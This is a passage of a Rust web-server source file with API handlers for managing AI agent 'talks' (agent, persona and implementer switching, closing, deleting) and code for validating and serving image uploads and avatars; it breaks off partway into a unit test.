9029fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9031 if talk.status.open() {
9032 return Ok(());
9033 }
9034 Err(ApiError::conflict(format!(
9035 "talk {} is {} and takes no more turns",
9036 talk.short(),
9037 talk.status.as_str()
9038 )))
9039}
9040
9041#[derive(Debug, Deserialize)]
9043struct TalkAgent {
9044 agent: String,
9045}
9046
9047async fn talk_agent(
9052 State(ui): State<Arc<Ui>>,
9053 Path(id): Path<String>,
9054 Json(body): Json<TalkAgent>,
9055) -> ApiResult<Json<TalkView>> {
9056 let admission = ui.begin_admission()?;
9057 admitted(admission, async move {
9058 let id = {
9059 let ui = Arc::clone(&ui);
9060 blocking(move || resolve_talk(&ui.talks, &id)).await?
9061 };
9062 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9063 .await
9064 .map_err(ApiError::from)?;
9065 let repo = {
9066 let ui = Arc::clone(&ui);
9067 let id = id.clone();
9068 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9069 };
9070 let cfg = config_for(&repo).await?;
9071 {
9073 let ui = Arc::clone(&ui);
9074 let id = id.clone();
9075 let cfg = cfg.clone();
9076 let wanted = body.agent.clone();
9077 blocking(move || {
9078 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9079 .map_err(ApiError::bad_request_from)?;
9080 refuse_if_closed(&ui.talks.get(&id)?)
9081 })
9082 .await?;
9083 }
9084 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9085 return Err(ApiError::conflict(
9086 "a talk turn is running; change the agent once it has answered",
9087 ));
9088 };
9089 let switched = {
9090 let ui = Arc::clone(&ui);
9091 let id = id.clone();
9092 let cfg = cfg.clone();
9093 blocking(move || {
9094 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9095 .map_err(ApiError::bad_request_from)?;
9096 let mut talk = ui.talks.get(&id)?;
9097 if !talk.status.open() {
9098 return Err(ApiError::conflict(format!(
9099 "talk {} is {} and takes no more turns",
9100 talk.short(),
9101 talk.status.as_str()
9102 )));
9103 }
9104 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9105 Ok(talk)
9106 })
9107 .await
9108 };
9109 let observed = ui.queued_generation(&id);
9114 let fresh = {
9115 let ui = Arc::clone(&ui);
9116 let id = id.clone();
9117 blocking(move || Ok(ui.talks.get(&id)?)).await
9118 };
9119 let draining = match fresh {
9120 Ok(talk) => {
9121 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9122 }
9123 Err(_) => false,
9124 };
9125 let talk = switched?;
9126 Ok(Json(TalkView::new(talk, draining, &ui)))
9127 })
9128 .await
9129}
9130
9131#[derive(Debug, Deserialize)]
9133struct TalkPersona {
9134 persona: String,
9135}
9136
9137async fn talk_persona(
9141 State(ui): State<Arc<Ui>>,
9142 Path(id): Path<String>,
9143 Json(body): Json<TalkPersona>,
9144) -> ApiResult<Json<TalkView>> {
9145 let admission = ui.begin_admission()?;
9146 admitted(admission, async move {
9147 let id = {
9148 let ui = Arc::clone(&ui);
9149 blocking(move || resolve_talk(&ui.talks, &id)).await?
9150 };
9151 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9152 .await
9153 .map_err(ApiError::from)?;
9154 let repo = {
9155 let ui = Arc::clone(&ui);
9156 let id = id.clone();
9157 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9158 };
9159 let cfg = config_for(&repo).await?;
9160 {
9162 let ui = Arc::clone(&ui);
9163 let id = id.clone();
9164 let cfg = cfg.clone();
9165 let wanted = body.persona.clone();
9166 blocking(move || {
9167 if persona::find(&cfg.talk.personas, &wanted).is_none() {
9168 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9169 }
9170 refuse_if_closed(&ui.talks.get(&id)?)
9171 })
9172 .await?;
9173 }
9174 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9175 return Err(ApiError::conflict(
9176 "a talk turn is running; change the persona once it has answered",
9177 ));
9178 };
9179 let switched = {
9180 let ui = Arc::clone(&ui);
9181 let id = id.clone();
9182 let cfg = cfg.clone();
9183 blocking(move || {
9184 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9185 return Err(ApiError::bad_request(format!(
9186 "unknown persona `{}`",
9187 body.persona
9188 )));
9189 };
9190 let mut talk = ui.talks.get(&id)?;
9191 if !talk.status.open() {
9192 return Err(ApiError::conflict(format!(
9193 "talk {} is {} and takes no more turns",
9194 talk.short(),
9195 talk.status.as_str()
9196 )));
9197 }
9198 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9199 Ok(talk)
9200 })
9201 .await
9202 };
9203 let observed = ui.queued_generation(&id);
9205 let fresh = {
9206 let ui = Arc::clone(&ui);
9207 let id = id.clone();
9208 blocking(move || Ok(ui.talks.get(&id)?)).await
9209 };
9210 let draining = match fresh {
9211 Ok(talk) => {
9212 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9213 }
9214 Err(_) => false,
9215 };
9216 let talk = switched?;
9217 Ok(Json(TalkView::new(talk, draining, &ui)))
9218 })
9219 .await
9220}
9221
9222#[derive(Debug, Deserialize)]
9224struct TalkImplementers {
9225 implementers: u8,
9226}
9227
9228async fn talk_implementers(
9232 State(ui): State<Arc<Ui>>,
9233 Path(id): Path<String>,
9234 Json(body): Json<TalkImplementers>,
9235) -> ApiResult<Json<TalkView>> {
9236 let admission = ui.begin_admission()?;
9237 admitted(admission, async move {
9238 let id = {
9239 let ui = Arc::clone(&ui);
9240 blocking(move || resolve_talk(&ui.talks, &id)).await?
9241 };
9242 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9243 .await
9244 .map_err(ApiError::from)?;
9245 let repo = {
9246 let ui = Arc::clone(&ui);
9247 let id = id.clone();
9248 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9249 };
9250 let cfg = config_for(&repo).await?;
9251 {
9256 let ui = Arc::clone(&ui);
9257 let id = id.clone();
9258 let cfg = cfg.clone();
9259 let wanted = body.implementers;
9260 blocking(move || {
9261 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9262 refuse_if_closed(&ui.talks.get(&id)?)
9263 })
9264 .await?;
9265 }
9266 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9267 return Err(ApiError::conflict(
9268 "a talk turn is running; change the implementers once it has answered",
9269 ));
9270 };
9271 let switched = {
9272 let ui = Arc::clone(&ui);
9273 let id = id.clone();
9274 let cfg = cfg.clone();
9275 blocking(move || {
9276 let chosen = talk::check_implementers(body.implementers, &cfg)
9277 .map_err(ApiError::bad_request)?;
9278 let mut talk = ui.talks.get(&id)?;
9279 if !talk.status.open() {
9280 return Err(ApiError::conflict(format!(
9281 "talk {} is {} and takes no more turns",
9282 talk.short(),
9283 talk.status.as_str()
9284 )));
9285 }
9286 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9287 Ok(talk)
9288 })
9289 .await
9290 };
9291 let observed = ui.queued_generation(&id);
9293 let fresh = {
9294 let ui = Arc::clone(&ui);
9295 let id = id.clone();
9296 blocking(move || Ok(ui.talks.get(&id)?)).await
9297 };
9298 let draining = match fresh {
9299 Ok(talk) => {
9300 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9301 }
9302 Err(_) => false,
9303 };
9304 let talk = switched?;
9305 Ok(Json(TalkView::new(talk, draining, &ui)))
9306 })
9307 .await
9308}
9309
9310async fn talk_close(
9312 State(ui): State<Arc<Ui>>,
9313 Path(id): Path<String>,
9314) -> ApiResult<Json<TalkView>> {
9315 blocking(move || {
9316 let id = resolve_talk(&ui.talks, &id)?;
9317 let mut talk = ui.talks.get(&id)?;
9318 talk::close(&mut talk, &ui.talks)?;
9319 let thinking = ui.is_thinking(&talk.id);
9320 Ok(Json(TalkView::new(talk, thinking, &ui)))
9321 })
9322 .await
9323}
9324
9325async fn talk_reopen(
9327 State(ui): State<Arc<Ui>>,
9328 Path(id): Path<String>,
9329) -> ApiResult<Json<TalkView>> {
9330 blocking(move || {
9331 let id = resolve_talk(&ui.talks, &id)?;
9332 let mut talk = ui.talks.get(&id)?;
9333 talk::reopen(&mut talk, &ui.talks)?;
9334 let thinking = ui.is_thinking(&talk.id);
9335 Ok(Json(TalkView::new(talk, thinking, &ui)))
9336 })
9337 .await
9338}
9339
9340async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9350 blocking(move || {
9351 let id = resolve_talk(&ui.talks, &id)?;
9352 ui.talks.remove(&id)?;
9353 Ok(StatusCode::NO_CONTENT)
9354 })
9355 .await
9356}
9357
9358fn talk_ids(root: &FsPath) -> Vec<String> {
9359 std::fs::read_dir(root)
9360 .into_iter()
9361 .flatten()
9362 .flatten()
9363 .filter_map(|e| {
9364 let path = e.path();
9365 if path.extension().is_some_and(|ext| ext == "json") {
9366 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9367 } else {
9368 None
9369 }
9370 })
9371 .collect()
9372}
9373
9374fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9376 if plain_record_id(id) && store.path_of(id).is_file() {
9377 return Ok(id.to_owned());
9378 }
9379 pick(talk_ids(store.root()), id, "talk")
9380}
9381
9382async fn talk_attachment_post(
9385 State(ui): State<Arc<Ui>>,
9386 Path(id): Path<String>,
9387 headers: HeaderMap,
9388 body: Bytes,
9389) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
9390 let mime = validate_attachment(&headers, &body)?;
9391 let name = filename_header(&headers);
9392 let data = body.to_vec();
9393 blocking(move || {
9394 let id = resolve_talk(&ui.talks, &id)?;
9395 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
9396 Ok((StatusCode::CREATED, Json(att)))
9397 })
9398 .await
9399}
9400
9401async fn talk_attachment_get(
9404 State(ui): State<Arc<Ui>>,
9405 Path((id, att)): Path<(String, String)>,
9406) -> ApiResult<Response> {
9407 blocking(move || {
9408 let id = resolve_talk(&ui.talks, &id)?;
9409 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
9410 return Err(ApiError::not_found(format!(
9411 "talk {id} has no attachment `{att}`"
9412 )));
9413 };
9414 Ok(attachment_response(&meta.mime, data))
9415 })
9416 .await
9417}
9418
9419fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
9422 let id = avatar_encode(&p.id);
9423 format!(
9424 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
9425 persona_icon::fingerprint(
9426 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
9427 )
9428 )
9429}
9430
9431#[derive(Debug, Default, Deserialize)]
9432struct AvatarQuery {
9433 persona: Option<String>,
9434 builtin: Option<String>,
9436}
9437
9438const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
9440
9441fn builtin_avatar(id: &str) -> Response {
9442 svg_avatar(persona_icon::builtin_svg(id))
9443}
9444
9445async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9446 raster_or_builtin(
9447 read_icon_file(&avatar_setting_path(&ui.home, None))
9448 .filter(|_| q.builtin.is_none())
9449 .as_deref(),
9450 persona_icon::operator_svg(),
9451 )
9452}
9453
9454fn svg_avatar(svg: &'static str) -> Response {
9455 (
9456 [
9457 (header::CONTENT_TYPE, "image/svg+xml"),
9458 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9459 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
9460 (header::CACHE_CONTROL, "no-cache"),
9461 ],
9462 svg,
9463 )
9464 .into_response()
9465}
9466
9467fn avatar_encode(value: &str) -> String {
9468 value
9469 .bytes()
9470 .map(|b| {
9471 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
9472 char::from(b).to_string()
9473 } else {
9474 format!("%{b:02X}")
9475 }
9476 })
9477 .collect()
9478}
9479
9480fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
9482 let Some(id) = persona else {
9483 return home.join("avatars/operator.data");
9484 };
9485 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
9486 let mut path = home.join("avatars/personas");
9487 for chunk in encoded.as_bytes().chunks(100) {
9488 path.push(std::str::from_utf8(chunk).expect("hex"));
9489 }
9490 path.join("icon.data")
9491}
9492
9493fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
9494 match read_icon_file(&avatar_setting_path(home, Some(id))) {
9495 Some(value) if value == "builtin" => Some(String::new()),
9496 Some(value) => Some(value),
9497 None => configured.map(str::to_owned),
9498 }
9499}
9500
9501fn operator_icon_url(home: &FsPath) -> String {
9502 format!(
9503 "/avatars/operator.svg?v={}",
9504 persona_icon::fingerprint(
9505 read_icon_file(&avatar_setting_path(home, None))
9506 .as_deref()
9507 .or(Some(persona_icon::operator_svg()))
9508 )
9509 )
9510}
9511
9512fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
9513 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
9514 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9515 attachment_response(mime, bytes)
9516 }
9517 _ => svg_avatar(builtin),
9518 };
9519 response
9520 .headers_mut()
9521 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9522 response
9523}
9524
9525#[derive(Default, Deserialize)]
9526struct AvatarSettingsQuery {
9527 repo: Option<PathBuf>,
9528 persona: Option<String>,
9529 builtin: Option<String>,
9530 inherit: Option<String>,
9531}
9532
9533fn avatar_settings_specs(
9534 ui: &Ui,
9535 repo: Option<PathBuf>,
9536) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
9537 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
9538 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
9539 .map(|cfg| cfg.talk.personas)
9540 .unwrap_or_default();
9541 Ok((repo, specs))
9542}
9543
9544fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
9545 let Ok(entries) = std::fs::read_dir(path) else {
9546 return;
9547 };
9548 for entry in entries.flatten() {
9549 let name = entry.file_name().to_string_lossy().into_owned();
9550 if name == "icon.data" {
9551 let bytes: Option<Vec<u8>> = prefix
9552 .as_bytes()
9553 .chunks(2)
9554 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
9555 .collect();
9556 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
9557 out.push(id);
9558 }
9559 } else if name.len() <= 100
9560 && !name.is_empty()
9561 && name.bytes().all(|b| b.is_ascii_hexdigit())
9562 && entry.file_type().is_ok_and(|t| t.is_dir())
9563 {
9564 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
9565 }
9566 }
9567}
9568
9569async fn avatar_settings_get(
9570 State(ui): State<Arc<Ui>>,
9571 Query(q): Query<AvatarSettingsQuery>,
9572) -> ApiResult<Json<serde_json::Value>> {
9573 blocking(move || {
9574 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
9575 let mut catalog = persona::catalog(&specs);
9576 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
9577 let mut saved = Vec::new();
9578 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
9579 for id in saved {
9580 if !catalog.iter().any(|p| p.id == id) {
9581 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
9582 }
9583 }
9584 let personas: Vec<_> = catalog.iter().map(|p| {
9585 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
9586 let override_state = match saved.as_deref() {
9587 Some("builtin") => "builtin",
9588 Some(_) => "custom",
9589 None => "inherit",
9590 };
9591 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
9592 serde_json::json!({"id":p.id,"name":p.name,
9593 "override_state":override_state,"has_config_icon":p.icon.is_some(),
9594 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
9595 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
9596 }).collect();
9597 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
9598 }).await
9599}
9600
9601async fn settings_persona_avatar(
9602 State(ui): State<Arc<Ui>>,
9603 Query(q): Query<AvatarSettingsQuery>,
9604) -> ApiResult<Response> {
9605 blocking(move || {
9606 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
9607 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
9608 let found = persona::find(&specs, id);
9609 let icon =
9610 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
9611 Ok(raster_or_builtin(
9612 icon.as_deref().filter(|_| q.builtin.is_none()),
9613 persona_icon::builtin_svg(id),
9614 ))
9615 })
9616 .await
9617}
9618
9619fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
9620 if q.persona
9621 .as_ref()
9622 .is_some_and(|p| p.is_empty() || p.len() > 4096)
9623 {
9624 return Err(ApiError::bad_request("invalid persona id"));
9625 }
9626 Ok(())
9627}
9628
9629async fn avatar_settings_put(
9630 State(ui): State<Arc<Ui>>,
9631 Query(q): Query<AvatarSettingsQuery>,
9632 Json(upload): Json<MagiIconUpload>,
9633) -> ApiResult<Json<serde_json::Value>> {
9634 blocking(move || {
9635 validate_avatar_target(&q)?;
9636 save_icon_file(
9637 &avatar_setting_path(&ui.home, q.persona.as_deref()),
9638 &upload.icon,
9639 )
9640 .map_err(ApiError::bad_request_from)?;
9641 Ok(Json(serde_json::json!({"saved":true})))
9642 })
9643 .await
9644}
9645
9646async fn avatar_settings_delete(
9647 State(ui): State<Arc<Ui>>,
9648 Query(q): Query<AvatarSettingsQuery>,
9649) -> ApiResult<Json<serde_json::Value>> {
9650 blocking(move || {
9651 validate_avatar_target(&q)?;
9652 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
9653 if q.persona.is_some() && q.inherit.is_none() {
9654 atomic_icon_write(&path, "builtin")?;
9655 } else {
9656 match std::fs::remove_file(path) {
9657 Ok(()) => (),
9658 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9659 Err(e) => return Err(anyhow::Error::from(e).into()),
9660 }
9661 }
9662 Ok(Json(serde_json::json!({"saved":true})))
9663 })
9664 .await
9665}
9666
9667fn magi_icon_path(home: &FsPath) -> PathBuf {
9669 home.join("magi-icon.data")
9670}
9671
9672fn read_magi_icon(home: &FsPath) -> Option<String> {
9673 read_icon_file(&magi_icon_path(home))
9674}
9675
9676fn read_icon_file(path: &FsPath) -> Option<String> {
9677 let metadata = std::fs::metadata(path).ok()?;
9678 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
9679 return None;
9680 }
9681 let file = std::fs::File::open(path).ok()?;
9682 use std::io::Read;
9683 let mut text = String::new();
9684 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
9685 .read_to_string(&mut text)
9686 .ok()?;
9687 if text.len() > persona_icon::ICON_MAX_BYTES {
9688 return None;
9689 }
9690 if text == "builtin" {
9691 return Some(text);
9692 }
9693 validate_uploaded_icon(&text).ok()?;
9694 Some(text)
9695}
9696
9697fn magi_icon_url(home: &FsPath) -> String {
9698 format!(
9699 "/avatars/magi?v={}",
9700 persona_icon::fingerprint(read_magi_icon(home).as_deref())
9701 )
9702}
9703
9704async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
9705 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
9706}
9707
9708#[derive(Deserialize)]
9709struct MagiIconUpload {
9710 icon: String,
9711}
9712
9713fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
9714 save_icon_file(&magi_icon_path(home), icon)
9715}
9716
9717fn validate_uploaded_icon(icon: &str) -> Result<()> {
9718 if !icon.starts_with("data:") {
9719 anyhow::bail!("upload a raster image");
9720 }
9721 let (mime, bytes) = persona_icon::load(icon)?;
9722 if sniffed_mime(&bytes) != Some(mime) {
9723 anyhow::bail!("image content does not match its type");
9724 }
9725 Ok(())
9726}
9727
9728fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
9729 validate_uploaded_icon(icon)?;
9730 atomic_icon_write(path, icon)
9731}
9732
9733fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
9734 let home = path.parent().expect("icon parent");
9735 std::fs::create_dir_all(home)?;
9736 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
9737 let temp = home.join(format!(".magi-icon-{token}.tmp"));
9738 let result = (|| -> Result<()> {
9739 use std::io::Write;
9740 let mut file = std::fs::OpenOptions::new()
9741 .write(true)
9742 .create_new(true)
9743 .open(&temp)?;
9744 file.write_all(icon.as_bytes())?;
9745 file.sync_all()?;
9746 std::fs::rename(&temp, path)?;
9747 Ok(())
9748 })();
9749 let _ = std::fs::remove_file(temp);
9750 result?;
9751 Ok(())
9752}
9753
9754async fn magi_icon_put(
9755 State(ui): State<Arc<Ui>>,
9756 Json(upload): Json<MagiIconUpload>,
9757) -> ApiResult<Json<serde_json::Value>> {
9758 blocking(move || {
9759 if !upload.icon.starts_with("data:") {
9760 return Err(ApiError::bad_request("upload a raster image"));
9761 }
9762 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
9763 if sniffed_mime(&bytes) != Some(mime) {
9764 return Err(ApiError::bad_request(
9765 "image content does not match its type",
9766 ));
9767 }
9768 save_magi_icon(&ui.home, &upload.icon)?;
9769 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9770 })
9771 .await
9772}
9773
9774async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
9775 blocking(move || {
9776 match std::fs::remove_file(magi_icon_path(&ui.home)) {
9777 Ok(()) => (),
9778 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9779 Err(e) => return Err(anyhow::Error::from(e).into()),
9780 }
9781 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9782 })
9783 .await
9784}
9785
9786async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9787 let icon = (q.builtin.is_none())
9788 .then(|| read_magi_icon(&ui.home))
9789 .flatten();
9790 let mut response = match icon
9791 .as_deref()
9792 .and_then(|icon| persona_icon::load(icon).ok())
9793 {
9794 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9795 attachment_response(mime, bytes)
9796 }
9797 _ => svg_avatar(persona_icon::magi_svg()),
9798 };
9799 response
9800 .headers_mut()
9801 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9802 response
9803}
9804
9805async fn talk_avatar(
9810 State(ui): State<Arc<Ui>>,
9811 Path(id): Path<String>,
9812 Query(q): Query<AvatarQuery>,
9813) -> ApiResult<Response> {
9814 blocking(move || {
9815 let id = resolve_talk(&ui.talks, &id)?;
9816 let talk = ui.talks.get(&id)?;
9817 let wanted = q
9818 .persona
9819 .as_deref()
9820 .map(str::trim)
9821 .filter(|p| !p.is_empty())
9822 .unwrap_or(&talk.persona)
9823 .to_owned();
9824 let specs = match Config::discover(&talk.repo, None) {
9825 Ok((cfg, _)) => cfg.talk.personas,
9826 Err(e) => {
9827 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
9828 Vec::new()
9829 }
9830 };
9831 let found = persona::find(&specs, &wanted);
9832 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
9834 let icon = effective_persona_icon(
9835 &ui.home,
9836 &wanted,
9837 found.as_ref().and_then(|p| p.icon.as_deref()),
9838 );
9839 if found.is_none() && icon.is_none() {
9840 return Ok(builtin_avatar(persona::DEFAULT_ID));
9841 }
9842 let Some(icon) = icon
9843 .as_deref()
9844 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
9845 else {
9846 return Ok(builtin_avatar(&wanted));
9847 };
9848 let Some(found) = found else {
9849 return Ok(raster_or_builtin(
9850 Some(icon),
9851 persona_icon::builtin_svg(&wanted),
9852 ));
9853 };
9854 match persona_icon::load(icon) {
9855 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9856 let mut res = attachment_response(mime, bytes);
9857 res.headers_mut().insert(
9858 header::CACHE_CONTROL,
9859 header::HeaderValue::from_static("no-cache"),
9860 );
9861 Ok(res)
9862 }
9863 Ok((mime, _)) => {
9864 tracing::warn!(
9865 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
9866 found.id
9867 );
9868 Ok(builtin_avatar(&found.id))
9869 }
9870 Err(e) => {
9871 tracing::warn!(
9872 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
9873 found.id
9874 );
9875 Ok(builtin_avatar(&found.id))
9876 }
9877 }
9878 })
9879 .await
9880}
9881
9882fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
9893 if data.len() > ATTACHMENT_MAX_BYTES {
9894 return Err(ApiError::bad_request(format!(
9895 "attachment is {} bytes, over the {} MiB limit",
9896 data.len(),
9897 ATTACHMENT_MAX_BYTES / (1024 * 1024)
9898 ))
9899 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
9900 }
9901 if data.is_empty() {
9902 return Err(ApiError::bad_request("attachment is empty"));
9903 }
9904 let declared = declared_mime(headers)?;
9905 match sniffed_mime(data) {
9906 Some(sniffed) if sniffed == declared => Ok(declared),
9907 Some(sniffed) => Err(ApiError::bad_request(format!(
9908 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
9909 ))),
9910 None => Err(ApiError::bad_request(
9911 "the file's bytes do not match any accepted image format",
9912 )),
9913 }
9914}
9915
9916fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
9920 let raw = headers
9921 .get(header::CONTENT_TYPE)
9922 .and_then(|v| v.to_str().ok())
9923 .unwrap_or("")
9924 .split(';')
9925 .next()
9926 .unwrap_or("")
9927 .trim()
9928 .to_ascii_lowercase();
9929 ATTACHMENT_MIME_WHITELIST
9930 .iter()
9931 .find(|&&m| m == raw)
9932 .copied()
9933 .ok_or_else(|| {
9934 if raw == "image/svg+xml" {
9935 ApiError::bad_request(
9936 "SVG is not accepted: it can carry active content (e.g. a <script>), \
9937 not just a picture",
9938 )
9939 } else if raw.is_empty() {
9940 ApiError::bad_request("Content-Type is required for an attachment upload")
9941 } else {
9942 ApiError::bad_request(format!(
9943 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
9944 image/gif or image/webp"
9945 ))
9946 }
9947 })
9948}
9949
9950fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
9953 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
9954 Some("image/png")
9955 } else if data.starts_with(b"\xff\xd8\xff") {
9956 Some("image/jpeg")
9957 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
9958 Some("image/gif")
9959 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
9960 Some("image/webp")
9961 } else {
9962 None
9963 }
9964}
9965
9966fn filename_header(headers: &HeaderMap) -> String {
9972 headers
9973 .get(FILENAME_HEADER)
9974 .and_then(|v| v.to_str().ok())
9975 .map(str::trim)
9976 .filter(|s| !s.is_empty())
9977 .unwrap_or("attachment")
9978 .to_owned()
9979}
9980
9981fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
9988 let content_type = ATTACHMENT_MIME_WHITELIST
9989 .iter()
9990 .find(|&&m| m == mime)
9991 .copied()
9992 .unwrap_or("application/octet-stream");
9993 (
9994 [
9995 (header::CONTENT_TYPE, content_type),
9996 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9997 ],
9998 body,
9999 )
10000 .into_response()
10001}
10002
10003async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10011 let repo = repo.to_path_buf();
10012 blocking(move || {
10013 let (cfg, _) = Config::discover(&repo, None)?;
10014 Ok(cfg)
10015 })
10016 .await
10017}
10018
10019fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10025 let mut hits = ids
10026 .into_iter()
10027 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10028 match (hits.next(), hits.next()) {
10029 (Some(one), None) => Ok(one),
10030 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10031 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10032 "`{prefix}` matches more than one {what}, including {a} and {b}"
10033 ))),
10034 }
10035}
10036
10037#[cfg(test)]
10038mod tests {
10039
10040 #[test]
10041 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10042 let dir = tempfile::tempdir().unwrap();
10043 let store = ask::Questions::at(dir.path().join("questions"));
10044 let mut q = Question::new(
10045 "task".to_owned(),
10046 "conduct".to_owned(),
10047 "conduct".to_owned(),
10048 "choose".to_owned(),
10049 String::new(),
10050 vec!["keep".to_owned()],
10051 );
10052 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10053 q.say("why?").unwrap();
10054 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10055 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10056 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10057 store.put(&mut q).unwrap();
10058 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10059 assert_eq!(store.count_needs_owner(), 1);
10060 store.beat(&q.id, ask::WaiterKind::Deputy);
10061 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10062 assert_eq!(store.count_needs_owner(), 0);
